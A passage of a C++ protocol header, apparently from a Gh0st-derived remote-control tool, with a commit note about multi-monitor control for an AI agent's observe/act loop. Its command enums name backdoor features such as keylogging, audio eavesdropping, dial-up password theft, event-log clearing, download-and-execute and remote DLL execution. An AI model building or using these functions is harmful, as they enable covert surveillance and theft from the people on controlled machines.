The MCP Observe/Act loop requires screenshots and mouse injection to share one coordinate space. Previously the client sent only the primary monitor while injection used virtual-desktop coordinates, so multi-monitor hosts were rejected outright. - Client: COMMAND_SCREEN_SPY param buffer[11] (wire index 12) now forces whole-virtual-desktop GDI capture; preview JPEGs also cover the virtual desktop including negative origins. - Server: advertise CLIENT_CAP_VIRTUAL_DESKTOP, gate multi-monitor remote control on that capability, and pass the flag when starting the session. Linux stays exempt (X root capture/injection are already consistent).
2091 lines
85 KiB
C++
2091 lines
85 KiB
C++
#pragma once
|
||
#include <vector>
|
||
#include <string>
|
||
#include <iosfwd>
|
||
#include <iostream>
|
||
#include <sstream>
|
||
#include <string.h>
|
||
#include <map>
|
||
#include <numeric>
|
||
#include <ctime>
|
||
#include <chrono>
|
||
#include <climits>
|
||
|
||
#ifdef _WIN32
|
||
#define WIN32_LEAN_AND_MEAN
|
||
#include <windows.h>
|
||
#include <concrt.h>
|
||
#include <corecrt_io.h>
|
||
#define MVirtualFree(a1, a2, a3) VirtualFree(a1, a2, a3)
|
||
#define MVirtualAlloc(a1, a2, a3, a4) VirtualAlloc(a1, a2, a3, a4)
|
||
#else // 使得该头文件在 LINUX 正常使用
|
||
#include <thread>
|
||
#define strcat_s strcat
|
||
#define sprintf_s sprintf
|
||
#define strcpy_s strcpy
|
||
#define __stdcall
|
||
#define WINAPI
|
||
#define TRUE 1
|
||
#define FALSE 0
|
||
#define skCrypt(p) p
|
||
#define Mprintf printf
|
||
#define ASSERT(p)
|
||
#define AUTO_TICK_C(p, q)
|
||
#define AUTO_TICK(p, q)
|
||
#define STOP_TICK
|
||
#define OutputDebugStringA(p) printf(p)
|
||
#define decrypt_v7 decrypt_v1
|
||
#define decrypt_v8 decrypt_v2
|
||
#define decrypt_v9 decrypt_v3
|
||
#define decrypt_v10 decrypt_v4
|
||
#define encrypt_v7 encrypt_v1
|
||
#define encrypt_v8 encrypt_v2
|
||
#define encrypt_v9 encrypt_v3
|
||
#define encrypt_v10 encrypt_v4
|
||
#include <unistd.h>
|
||
#define Sleep(n) ((n) >= 1000 ? sleep((n) / 1000) : usleep((n) * 1000))
|
||
|
||
typedef int64_t __int64;
|
||
typedef uint16_t WORD;
|
||
typedef uint32_t DWORD;
|
||
#ifndef BOOL
|
||
typedef bool BOOL;
|
||
#endif
|
||
typedef int SOCKET;
|
||
typedef unsigned int ULONG;
|
||
typedef unsigned int UINT;
|
||
typedef void VOID;
|
||
typedef unsigned char BYTE;
|
||
typedef BYTE* PBYTE, * LPBYTE;
|
||
typedef void* LPVOID, * HANDLE;
|
||
typedef int32_t LONG;
|
||
typedef struct {
|
||
LONG x;
|
||
LONG y;
|
||
} POINT;
|
||
|
||
#define GET_PROCESS(a1, a2)
|
||
#define MVirtualFree(a1, a2, a3) delete[]a1
|
||
#define MVirtualAlloc(a1, a2, a3, a4) new BYTE[a2]
|
||
#define CopyMemory memcpy
|
||
#define MoveMemory memmove
|
||
|
||
#define INVALID_SOCKET -1
|
||
#define SOCKET_ERROR -1
|
||
#define closesocket close
|
||
#define CloseHandle(p)
|
||
#define SAFE_CLOSE_HANDLE(p)
|
||
#define CancelIo(p) close(reinterpret_cast<intptr_t>(p))
|
||
#endif
|
||
|
||
#include "ip_enc.h"
|
||
#include "scheduler.h"
|
||
#include <time.h>
|
||
#include <unordered_map>
|
||
|
||
#ifndef _MAX_PATH
|
||
#define _MAX_PATH 260
|
||
#endif
|
||
|
||
// 屏幕类型(用于 ScreenSettings.ScreenType)
|
||
enum ScreenType {
|
||
USING_GDI = 0, // GDI 截屏
|
||
USING_DXGI = 1, // DXGI 截屏
|
||
USING_VIRTUAL = 2, // 虚拟桌面
|
||
USING_WINDOW_CAPTURE = 3, // 窗口捕获 (Graphics Capture API, Win10 1803+)
|
||
};
|
||
|
||
// 以下2个数字需全局唯一,否则在生成服务时会出问题
|
||
|
||
#define FLAG_FINDEN "Hello, World!"
|
||
|
||
#define FLAG_GHOST FLAG_FINDEN
|
||
|
||
#include "hash.h"
|
||
|
||
#ifndef GET_FILEPATH
|
||
#define GET_FILEPATH(dir,file) [](char*d,const char*f){char*p=d;while(*p)++p;while('\\'!=*p&&p!=d)--p;strcpy(p+1,f);return d;}(dir,file)
|
||
#endif
|
||
|
||
inline int isValid_60s()
|
||
{
|
||
static time_t tm = time(nullptr);
|
||
int span = int(time(nullptr) - tm);
|
||
return span <= 60;
|
||
}
|
||
|
||
inline int isValid_30s()
|
||
{
|
||
static time_t tm = time(nullptr);
|
||
int span = int(time(nullptr) - tm);
|
||
return span <= 30;
|
||
}
|
||
|
||
inline int isValid_10s()
|
||
{
|
||
static time_t tm = time(nullptr);
|
||
int span = int(time(nullptr) - tm);
|
||
return span <= 10;
|
||
}
|
||
|
||
// 当程序功能明显发生变化时,应该更新这个值,以便对被控程序进行区分
|
||
#define DLL_VERSION __DATE__ // DLL版本
|
||
|
||
// 客户端能力位
|
||
#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输
|
||
#define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等)
|
||
// 无此位 = 老客户端,按系统 ANSI(默认 CP936)解读
|
||
#define CLIENT_CAP_SCREEN_PREVIEW 0x0004 // 支持屏幕预览(双击在线主机时弹缩略图)
|
||
#define CLIENT_CAP_C2C_PATHS 0x0008 // 支持按路径清单向另一客户端发送文件(COMMAND_C2C_SEND_FILES,仅 Windows)
|
||
#define CLIENT_CAP_C2C_RECV_ACK 0x0010 // 作为 C2C 目标端时,落盘完成后回执(TOKEN_C2C_RECV_RESULT,目前仅 Linux)
|
||
#define CLIENT_CAP_PROTO_SWITCH 0x0020 // 支持服务端远程切换传输协议(COMMAND_SET_PROTO,仅 Windows)
|
||
#define CLIENT_CAP_EMBEDDED_ANCHOR 0x0040 // 当前靠「生成时内嵌的 TLS 信任锚」在加密(按运行时状态置位,不是能力声明)
|
||
#define CLIENT_CAP_VIRTUAL_DESKTOP 0x0080 // 支持按 COMMAND_SCREEN_SPY 参数 buffer[11](wire 索引 12)强制抓取整个虚拟桌面(多显示器远程控制)
|
||
|
||
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
|
||
|
||
// 客户端状态: 1-被控端退出 2-主控端退出
|
||
enum State {
|
||
S_CLIENT_NORMAL = 0,
|
||
S_CLIENT_EXIT = 1,
|
||
S_SERVER_EXIT = 2,
|
||
S_CLIENT_UPDATE = 3,
|
||
};
|
||
|
||
// 命令枚举列表
|
||
enum {
|
||
// 文件传输方式
|
||
TRANSFER_MODE_NORMAL = 0x00, // 一般,如果本地或者远程已经有,取消
|
||
TRANSFER_MODE_ADDITION, // 追加
|
||
TRANSFER_MODE_ADDITION_ALL, // 全部追加
|
||
TRANSFER_MODE_OVERWRITE, // 覆盖
|
||
TRANSFER_MODE_OVERWRITE_ALL, // 全部覆盖
|
||
TRANSFER_MODE_JUMP, // 覆盖
|
||
TRANSFER_MODE_JUMP_ALL, // 全部覆盖
|
||
TRANSFER_MODE_CANCEL, // 取消传送
|
||
|
||
// 控制端发出的命令
|
||
COMMAND_ACTIVED = 0x00, // 服务端可以激活开始工作
|
||
COMMAND_LIST_DRIVE, // 列出磁盘目录
|
||
COMMAND_LIST_FILES, // 列出目录中的文件
|
||
COMMAND_DOWN_FILES, // 下载文件
|
||
COMMAND_FILE_SIZE, // 上传时的文件大小
|
||
COMMAND_FILE_DATA, // 上传时的文件数据
|
||
COMMAND_EXCEPTION, // 传输发生异常,需要重新传输
|
||
COMMAND_CONTINUE, // 传输正常,请求继续发送数据
|
||
COMMAND_STOP, // 传输中止
|
||
COMMAND_DELETE_FILE, // 删除文件
|
||
COMMAND_DELETE_DIRECTORY, // 删除目录
|
||
COMMAND_SET_TRANSFER_MODE, // 设置传输方式
|
||
COMMAND_CREATE_FOLDER, // 创建文件夹
|
||
COMMAND_RENAME_FILE, // 文件或文件改名
|
||
COMMAND_OPEN_FILE_SHOW, // 显示打开文件
|
||
COMMAND_OPEN_FILE_HIDE, // 隐藏打开文件
|
||
|
||
COMMAND_SCREEN_SPY, // 屏幕查看
|
||
COMMAND_SCREEN_RESET, // 改变屏幕深度
|
||
COMMAND_ALGORITHM_RESET, // 改变算法
|
||
COMMAND_SCREEN_CTRL_ALT_DEL, // 发送Ctrl+Alt+Del
|
||
COMMAND_SCREEN_CONTROL, // 屏幕控制
|
||
COMMAND_SCREEN_BLOCK_INPUT, // 锁定服务端键盘鼠标输入
|
||
COMMAND_SCREEN_BLANK, // 服务端黑屏
|
||
COMMAND_SCREEN_CAPTURE_LAYER, // 捕捉层
|
||
COMMAND_SCREEN_GET_CLIPBOARD, // 获取远程剪贴版
|
||
COMMAND_SCREEN_SET_CLIPBOARD, // 设置远程剪帖版
|
||
|
||
COMMAND_WEBCAM, // 摄像头
|
||
COMMAND_WEBCAM_ENABLECOMPRESS, // 摄像头数据要求经过H263压缩
|
||
COMMAND_WEBCAM_DISABLECOMPRESS, // 摄像头数据要求原始高清模式
|
||
COMMAND_WEBCAM_RESIZE, // 摄像头调整分辩率,后面跟两个INT型的宽高
|
||
COMMAND_NEXT, // 下一步(控制端已经打开对话框)
|
||
|
||
COMMAND_KEYBOARD, // 键盘记录
|
||
COMMAND_KEYBOARD_OFFLINE, // 开启离线键盘记录
|
||
COMMAND_KEYBOARD_CLEAR, // 清除键盘记录内容
|
||
|
||
COMMAND_AUDIO, // 语音监听
|
||
|
||
COMMAND_SYSTEM, // 系统管理(进程,窗口....)
|
||
COMMAND_PSLIST, // 进程列表
|
||
COMMAND_WSLIST, // 窗口列表
|
||
COMMAND_DIALUPASS, // 拨号密码
|
||
COMMAND_KILLPROCESS, // 关闭进程
|
||
COMMAND_SHELL, // cmdshell
|
||
COMMAND_SESSION, // 会话管理(关机,重启,注销, 卸载)
|
||
COMMAND_REMOVE, // 卸载后门
|
||
COMMAND_DOWN_EXEC, // 其它功能 - 下载执行
|
||
COMMAND_UPLOAD_EXEC, // 其它功能 - 上传执行
|
||
COMMAND_CLEAN_EVENT, // 其它管理 - 清除系统日志
|
||
COMMAND_OPEN_URL_HIDE, // 其它管理 - 隐藏打开网页
|
||
COMMAND_OPEN_URL_SHOW, // 其它管理 - 显示打开网页
|
||
COMMAND_RENAME_REMARK, // 重命名备注
|
||
COMMAND_REPLAY_HEARTBEAT, // 回复心跳包
|
||
COMMAND_SERVICES, // 服务管理
|
||
COMMAND_REGEDIT,
|
||
COMMAND_TALK, // 即时消息验证
|
||
COMMAND_UPDATE = 53, // 客户端升级
|
||
COMMAND_SHARE = 59, // 分享主机
|
||
COMMAND_PROXY = 60, // 代理映射
|
||
TOKEN_SYSINFOLIST = 61, // 主机管理
|
||
TOKEN_CHAT_START = 62, // 远程交谈
|
||
TOKEN_UNINSTALL = 63, // 卸载主机
|
||
TOKEN_PRIVATESCREEN = 64, // 隐私屏幕
|
||
TOKEN_MACHINE_MANAGE = 65, // 机器管理
|
||
COMMAND_GET_FOLDER = 66, // 获取目录
|
||
COMMAND_GET_FILE = 67, // 获取文件
|
||
COMMAND_SEND_FILE = 68, // 发送文件
|
||
COMMAND_SWITCH_SCREEN = 69,
|
||
CMD_MULTITHREAD_COMPRESS = 70,
|
||
CMD_FPS = 71,
|
||
CMD_COMPRESS_FILES = 72, // 压缩文件
|
||
CMD_UNCOMPRESS_FILES = 73, // 解压文件
|
||
CMD_SCREEN_SIZE = 74,
|
||
CMD_FULL_SCREEN = 75,
|
||
CMD_REMOTE_CURSOR = 76,
|
||
CMD_SCROLL_INTERVAL = 77, // 滚动检测间隔
|
||
CMD_QUALITY_LEVEL = 78, // 质量等级 (-1=自适应, 0-4=具体等级)
|
||
CMD_INSTRUCTION_SET = 79,
|
||
CMD_QUALITY_PROFILES = 80, // 下发质量配置表 (1 + QUALITY_COUNT * sizeof(QualityProfile))
|
||
CMD_TERMINAL_RESIZE = 81, // 终端尺寸调整: [cmd:1][cols:2][rows:2]
|
||
CMD_RESTORE_CONSOLE = 82, // RDP会话归位(恢复控制台会话)
|
||
CMD_RESET_VIRTUAL_DESKTOP = 83, // 重置虚拟桌面(关闭所有窗口重新启动)
|
||
CMD_SWITCH_WINDOW = 84, // 切换窗口(类似 Alt+Tab)
|
||
|
||
// V2 文件传输(C2C + 断点续传)
|
||
COMMAND_SEND_FILE_V2 = 85, // V2 文件传输
|
||
COMMAND_FILE_RESUME = 86, // V2 断点续传控制(响应)
|
||
COMMAND_CLIPBOARD_V2 = 87, // V2 剪贴板请求(C2C)
|
||
COMMAND_FILE_QUERY_RESUME = 88, // V2 查询续传状态(请求)
|
||
COMMAND_C2C_PREPARE = 89, // C2C 准备接收(通知目标捕获目录)
|
||
COMMAND_C2C_TEXT = 90, // C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N]
|
||
COMMAND_FILE_COMPLETE_V2 = 91, // V2 文件完成校验: [cmd][transferID][fileIndex][fileSize][sha256]
|
||
COMMAND_C2C_PREPARE_RESP = 92, // C2C 准备响应(返回目标目录给发送方)
|
||
|
||
CMD_CURSOR_IMAGE = 93, // 自定义光标图像: [cmd:1][hash:4][hotX:2][hotY:2][w:1][h:1][BGRA:w*h*4]
|
||
CMD_DOWN_FILES_V2 = 94, // V2下载请求: [cmd:1][targetDir\0][file1\0][file2\0]...[\0]
|
||
|
||
CMD_AUDIO_CTRL = 95, // 音频控制: [cmd:1][enable:1][persist:1]
|
||
TOKEN_SCREEN_AUDIO = 96, // 音频数据: [token:1][hasFormat:1][AudioFormat?][data]
|
||
COMMAND_SHARE_CANCEL = 97,
|
||
COMMAND_ENCODE_LEVEL = 98,
|
||
|
||
TOKEN_SCROLL_FRAME = 99, // 滚动优化帧
|
||
// 服务端发出的标识
|
||
TOKEN_AUTH = 100, // 要求验证
|
||
TOKEN_HEARTBEAT, // 心跳包
|
||
TOKEN_LOGIN, // 上线包
|
||
TOKEN_DRIVE_LIST, // 驱动器列表
|
||
TOKEN_FILE_LIST, // 文件列表
|
||
TOKEN_FILE_SIZE, // 文件大小,传输文件时用
|
||
TOKEN_FILE_DATA, // 文件数据
|
||
TOKEN_TRANSFER_FINISH, // 传输完毕
|
||
TOKEN_DELETE_FINISH, // 删除完毕
|
||
TOKEN_GET_TRANSFER_MODE, // 得到文件传输方式
|
||
TOKEN_GET_FILEDATA, // 远程得到本地文件数据
|
||
TOKEN_CREATEFOLDER_FINISH, // 创建文件夹任务完成
|
||
TOKEN_DATA_CONTINUE, // 继续传输数据
|
||
TOKEN_RENAME_FINISH, // 改名操作完成
|
||
TOKEN_EXCEPTION, // 操作发生异常
|
||
|
||
TOKEN_BITMAPINFO, // 屏幕查看的BITMAPINFO
|
||
TOKEN_FIRSTSCREEN, // 屏幕查看的第一张图
|
||
TOKEN_NEXTSCREEN, // 屏幕查看的下一张图
|
||
TOKEN_CLIPBOARD_TEXT, // 屏幕查看时发送剪帖版内容
|
||
|
||
TOKEN_WEBCAM_BITMAPINFO, // 摄像头的BITMAPINFOHEADER
|
||
TOKEN_WEBCAM_DIB, // 摄像头的图像数据
|
||
|
||
TOKEN_AUDIO_START, // 开始语音监听
|
||
TOKEN_AUDIO_DATA, // 语音监听数据
|
||
|
||
TOKEN_KEYBOARD_START, // 键盘记录开始
|
||
TOKEN_KEYBOARD_DATA, // 键盘记录的数据
|
||
|
||
TOKEN_PSLIST, // 进程列表
|
||
TOKEN_WSLIST, // 窗口列表
|
||
TOKEN_DIALUPASS, // 拨号密码
|
||
TOKEN_SHELL_START, // 远程终端开始
|
||
TOKEN_SERVERLIST, // 服务列表
|
||
COMMAND_SERVICELIST, // 刷新服务列表
|
||
COMMAND_SERVICECONFIG, // 服务端发出的标识
|
||
TOKEN_TALK_START, // 即时消息开始
|
||
TOKEN_TALKCMPLT, // 即时消息可重发
|
||
TOKEN_KEYFRAME=134, // 关键帧
|
||
TOKEN_BITMAPINFO_HIDE, // 虚拟屏幕
|
||
TOKEN_SCREEN_SIZE, // 屏幕大小
|
||
TOKEN_DRIVE_LIST_PLUGIN = 150, // 文件管理(插件)
|
||
TOKEN_DRAWING_BOARD=151, // 画板
|
||
COMMAND_SCREEN_ROI = 152, // 屏幕区域
|
||
COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏)
|
||
COMMAND_SCREEN_SIGNATURE = 154,
|
||
COMMAND_QUERY_LOG = 155,
|
||
TOKEN_REPORT_LOG = 156,
|
||
COMMAND_FORBIDDEN = 157,
|
||
CMD_CUSTOM_CURSOR = 158,
|
||
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
|
||
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
|
||
|
||
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
|
||
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
|
||
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
|
||
COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
|
||
COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移)
|
||
COMMAND_TLS_ENABLE = 166, // 服务端 → 客户端:启用 TLS 传输(写注册表,下次启动生效)
|
||
COMMAND_TLS_DISABLE = 167, // 服务端 → 客户端:停用 TLS 传输(写注册表,下次启动生效)
|
||
COMMAND_REGEN_CLIENT_ID = 168, // 服务端 → 客户端:撞 ID 的克隆机重生成 client_id(掺随机 UUID)后重连
|
||
COMMAND_SCREEN_KEYFRAME_REQ = 169, // 服务端 → 客户端:下一次屏幕编码强制输出 IDR(Web 屏幕墙恢复用)
|
||
|
||
// MCP 结构化失败回报(客户端 → 服务端,仅失败分支发送;成功路径报文不变)。
|
||
// 170-198 是当前未占用的字节值,显式赋值避免后续插入重编号。
|
||
TOKEN_SERVICE_ERROR = 170, // [token:1][win32err:4 LE] 服务枚举失败(典型:OpenSCManager 权限不足)
|
||
TOKEN_FILE_LIST_ERROR = 171, // [token:1][win32err:4 LE] 文件列表失败(典型:路径不存在/非法)
|
||
TOKEN_REG_ERROR = 172, // [token:1][lstatus:4 LE] 注册表打开失败(键不存在/拒绝访问)
|
||
TOKEN_DOWNLOAD_ERROR = 173, // [token:1][win32err:4 LE] 下载请求无可用文件(路径全部不存在)
|
||
|
||
// MCP C2C 文件传输(服务端 → 源客户端 → 目标客户端;数据由服务端原样中继)。
|
||
// COMMAND_C2C_SEND_FILES / TOKEN_C2C_SEND_RESULT 只有声明 CLIENT_CAP_C2C_PATHS 的新客户端认识;
|
||
// TOKEN_C2C_RECV_RESULT 由声明 CLIENT_CAP_C2C_RECV_ACK 的目标端回发,老服务端走 default 丢弃。
|
||
COMMAND_C2C_SEND_FILES = 174, // [C2CSendFilesPacket][targetDir\0][path1\0]...[\0]
|
||
TOKEN_C2C_SEND_RESULT = 175, // [C2CSendResultPacket] 源客户端回传的发送结果
|
||
TOKEN_C2C_RECV_RESULT = 176, // [C2CSendResultPacket] 目标客户端回传的落盘回执(win32err 放 errno)
|
||
|
||
// 协议切换(服务端 → 客户端):把连接入口改成指定传输(TCP/WS/WSS)并立即重连。
|
||
// 客户端把入口写进本机配置后断开,重连循环按新入口重连;新入口连不上会自动回退。
|
||
COMMAND_SET_PROTO = 177, // [ProtoSwitchPacket][certLen 字节 PEM 正文]
|
||
|
||
// 远程桌面调优开关:远程桌面对话框「远程桌面调优」的勾选项,打开远程桌面时下发一次。
|
||
// [cmd:1][flags:4 LE][version:1],位定义见下方 TUNING_*。老主控端负载只有前 5 字节;
|
||
// 版本字节让新客户端区分老主控端(不认识 bit3)与新主控端(bit3 明确为 0/1)。
|
||
// 全 0 = 与加开关前行为完全一致。
|
||
// 老客户端 OnReceive 的 switch 无 default 分支,收到不认识的命令直接忽略,故可安全下发。
|
||
CMD_SCREEN_TUNING = 178,
|
||
|
||
TOKEN_DECRYPT = 199,
|
||
TOKEN_REGEDIT = 200, // 注册表
|
||
COMMAND_REG_FIND, // 注册表 管理标识
|
||
TOKEN_REG_KEY,
|
||
TOKEN_REG_PATH,
|
||
COMMAND_BYE, // 被控端退出
|
||
SERVER_EXIT=205, // 主控端退出
|
||
|
||
COMMAND_CC, // CC
|
||
COMMAND_ASSIGN_MASTER, // 分配主控
|
||
COMMAND_FILE_DETECT, // 文件探测
|
||
COMMAND_FILE_REPORT, // 文件上报
|
||
|
||
SOCKET_DLLLOADER=210, // 客户端请求DLL
|
||
CMD_DLLDATA, // 响应DLL数据
|
||
CMD_RUNASADMIN=214, // ADMIN 运行
|
||
CMD_MASTERSETTING = 215, // 主控设置
|
||
CMD_HEARTBEAT_ACK = 216, // 心跳回应
|
||
CMD_PADDING =217,
|
||
CMD_AUTHORIZATION = 222, // 授权
|
||
CMD_SERVER_ADDR = 229, // 主控地址
|
||
TOKEN_ERROR = 230, // 错误提示
|
||
TOKEN_SHELL_DATA = 231, // 终端结果
|
||
TOKEN_TERMINAL_START = 232, // Linux PTY 终端开始 (WebView2 + xterm.js)
|
||
TOKEN_TERMINAL_CLOSE = 233, // Linux PTY 终端关闭 (shell 退出)
|
||
CMD_EXECUTE_DLL = 240, // 执行代码
|
||
TOKEN_CLIENT_MSG = 241, // 客户端消息
|
||
CMD_SET_GROUP = 242, // 修改分组
|
||
CMD_EXECUTE_DLL_NEW = 243, // 执行代码
|
||
CMD_PEER_TO_PEER = 244, // P2P通信
|
||
TOKEN_CLIENTID = 245,
|
||
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck)
|
||
COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端)
|
||
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
|
||
COMMAND_TEXT_REPLACE = 249,
|
||
TOKEN_CLIP_TEXT = 250,
|
||
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
|
||
CMD_FILE_SPEED = 252, // 文件传输速度下发: [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
|
||
|
||
COMMAND_CONNECTION = 253, // 连接管理(服务端→客户端:查询/刷新连接列表)
|
||
COMMAND_KILL_CONNECTION = 254, // 强制断开指定连接(服务端→客户端)
|
||
TOKEN_CONNECTION_LIST = 255, // 连接列表响应(客户端→服务端)
|
||
};
|
||
|
||
// COMMAND_SET_PROTO 的载荷(紧跟命令字节)。
|
||
//
|
||
// host/port 都为空表示「还原到安装时的直连入口」:客户端用本地记住的原入口(prev_*)
|
||
// 恢复,服务端不需要知道客户端的直连地址。证书正文只在切换 WSS 且客户端可能还没有
|
||
// 信任锚时附带——客户端写入后重建 TLS 上下文,随后按新入口重连即走 WSS。
|
||
#pragma pack(push, 1)
|
||
struct ProtoSwitchPacket {
|
||
uint8_t proto; // PROTO_TCP / PROTO_WS / PROTO_WSS
|
||
char host[100]; // 反向代理域名(SNI / Host 头),空 = 还原
|
||
char port[8]; // 反向代理端口,空 = 还原
|
||
uint32_t certLen; // 随后附带的信任锚 PEM 字节数(0 = 不下发)
|
||
};
|
||
#pragma pack(pop)
|
||
|
||
static_assert(sizeof(ProtoSwitchPacket) == 113, "ProtoSwitchPacket must be exactly 113 bytes");
|
||
|
||
// 单条连接记录(客户端 → 服务端)。地址字段存网络字节序(IPv4 展开为前 4 字节、IPv6 为 16 字节),
|
||
// 端口字段存主机字节序(客户端 ntohs 转换)。断连时反向还原:地址拼回网络序 DWORD、端口 htons 转回
|
||
// 网络序,填回 MIB_TCPROW 调 SetTcpEntry(iphlpapi 的地址/端口均为网络序)。
|
||
#pragma pack(push, 1)
|
||
struct ConnectionInfo {
|
||
uint8_t proto; // 1=TCP, 2=UDP [1]
|
||
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
|
||
uint32_t pid; // 所属进程 PID [4]
|
||
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
|
||
uint16_t localPort; // 主机字节序(小端) [2]
|
||
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
|
||
uint16_t remotePort; // 主机字节序,同上 [2]
|
||
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
|
||
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
|
||
}; // 合计 110
|
||
#pragma pack(pop)
|
||
|
||
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be exactly 110 bytes");
|
||
|
||
#pragma pack(push, 1)
|
||
struct SignatureResp {
|
||
char msg[64];
|
||
char signature[64];
|
||
};
|
||
|
||
struct TextReplace {
|
||
uint8_t cmd;
|
||
uint8_t type;
|
||
uint8_t param[510];
|
||
uint8_t reserved[512];
|
||
};
|
||
|
||
enum TextReplaceRule {
|
||
RULE_REPLACE_ALL = 0,
|
||
};
|
||
|
||
// 子连接校验:HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
|
||
// 钉在子连接 ctx 上,后续命令免 IP 反查直接拿到主连接关联。
|
||
// 主连接(TOKEN_LOGIN 流)不走此校验。
|
||
//
|
||
// 兼容性策略:
|
||
// - 老客户端不发 → 新服务端宽容(保留 IP 反查兜底,行为不变)。
|
||
// - 新客户端发出 → 等服务端 ConnAuthAck,超时或失败则不继续。
|
||
// - 因此新客户端只能向新服务端连接(破坏性升级)。
|
||
// - 未来收紧:服务端可拒绝所有未通过 auth 的子连接。
|
||
//
|
||
// 协议固定为 512 / 256 字节(参照 LOGIN_INFOR::szReserved[512] 的做法),
|
||
// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token /
|
||
// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段
|
||
// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。
|
||
struct ConnAuthPacket {
|
||
uint8_t token; // = TOKEN_CONN_AUTH [1]
|
||
uint64_t clientID; // 客户端 V2 ID(MachineGuid + 归一化路径算出) [8]
|
||
uint64_t timestamp; // 客户端发包时的 Unix 秒,防重放第一道 [8]
|
||
uint8_t nonce[16]; // 随机数,进一步降低重放/碰撞概率 [16]
|
||
char signature[64]; // signMessage("", clientID||timestamp||nonce, 32) [64]
|
||
char reserved[415]; // 预留扩展 [415]
|
||
}; // 总 512
|
||
|
||
// 服务端响应:token + status + serverTime + 预留,固定 256 字节。
|
||
// serverTime 客户端可用来校正本机时钟偏差用于后续协议(可选)。
|
||
struct ConnAuthAck {
|
||
uint8_t token; // = TOKEN_CONN_AUTH(回显,方便客户端 dispatch) [1]
|
||
uint8_t status; // 0=OK, 其它=失败原因(见 ConnAuthStatus) [1]
|
||
uint64_t serverTime; // 服务端处理时的 Unix 秒 [8]
|
||
char reserved[246]; // 预留扩展 [246]
|
||
}; // 总 256
|
||
#pragma pack(pop)
|
||
|
||
// 编译期断言:协议大小不允许被无意改动
|
||
static_assert(sizeof(ConnAuthPacket) == 512, "ConnAuthPacket must be exactly 512 bytes");
|
||
static_assert(sizeof(ConnAuthAck) == 256, "ConnAuthAck must be exactly 256 bytes");
|
||
|
||
// 屏幕预览:服务端按双击在线主机触发,向客户端要一张缩略图(JPEG),与浮窗一起显示。
|
||
// 服务端依 ctx 最近心跳 Ping + RES_RESOLUTION 决定 maxWidth/quality 后下发;客户端
|
||
// 主屏抓图 → 等比缩放 → JPEG 编码 → 回响应。
|
||
//
|
||
// format 字段:v1 只有 JPEG(0);Windows 客户端走这条路(GDI+ 编码)。Linux 客户端
|
||
// 没有可依赖的 JPEG 编码库,改为回 BGRX(3) 原始像素,由服务端在 IO 线程统一编码成
|
||
// JPEG——下游(浮窗/列表缩略图/MCP get_screenshot)因此只认 JPEG 一种格式。
|
||
#pragma pack(push, 1)
|
||
struct ScreenPreviewReq {
|
||
uint8_t cmd; // = COMMAND_SCREEN_PREVIEW_REQ
|
||
uint16_t reqId; // 请求序号,用于丢弃过期响应
|
||
uint16_t maxWidth; // 服务端期望的目标宽度(客户端等比缩放,不强制)
|
||
uint8_t jpegQuality; // 1..100(BGRX 客户端不编码,服务端按自己的档位重编)
|
||
uint16_t reserved;
|
||
}; // 总 8 字节
|
||
|
||
enum ScreenPreviewStatus {
|
||
SCREEN_PREVIEW_OK = 0,
|
||
SCREEN_PREVIEW_CAPTURE_FAILED = 1, // 抓屏失败
|
||
SCREEN_PREVIEW_ENCODE_FAILED = 2, // 编码失败
|
||
SCREEN_PREVIEW_NOT_SUPPORTED = 3, // 平台不支持
|
||
};
|
||
|
||
enum ScreenPreviewFormat {
|
||
SCREEN_PREVIEW_FMT_JPEG = 0,
|
||
SCREEN_PREVIEW_FMT_PNG = 1, // 预留
|
||
SCREEN_PREVIEW_FMT_WEBP = 2, // 预留
|
||
// 原始像素:自上而下逐行、每像素 4 字节 B,G,R,X(X 填充为 0xFF),无行首对齐填充。
|
||
// bytes 必须等于 width*height*4;客户端已缩放到 maxWidth 以内,不再二次缩放。
|
||
SCREEN_PREVIEW_FMT_BGRX = 3,
|
||
};
|
||
|
||
struct ScreenPreviewRspHeader {
|
||
uint8_t token; // = TOKEN_SCREEN_PREVIEW_RSP
|
||
uint16_t reqId; // 回显请求序号
|
||
uint8_t status; // ScreenPreviewStatus
|
||
uint8_t format; // ScreenPreviewFormat(v1 仅 JPEG)
|
||
uint16_t width; // 实际编码图宽
|
||
uint16_t height; // 实际编码图高
|
||
uint32_t bytes; // 图像字节数(紧随其后)
|
||
uint8_t reserved[3];
|
||
// 后接 data[bytes]
|
||
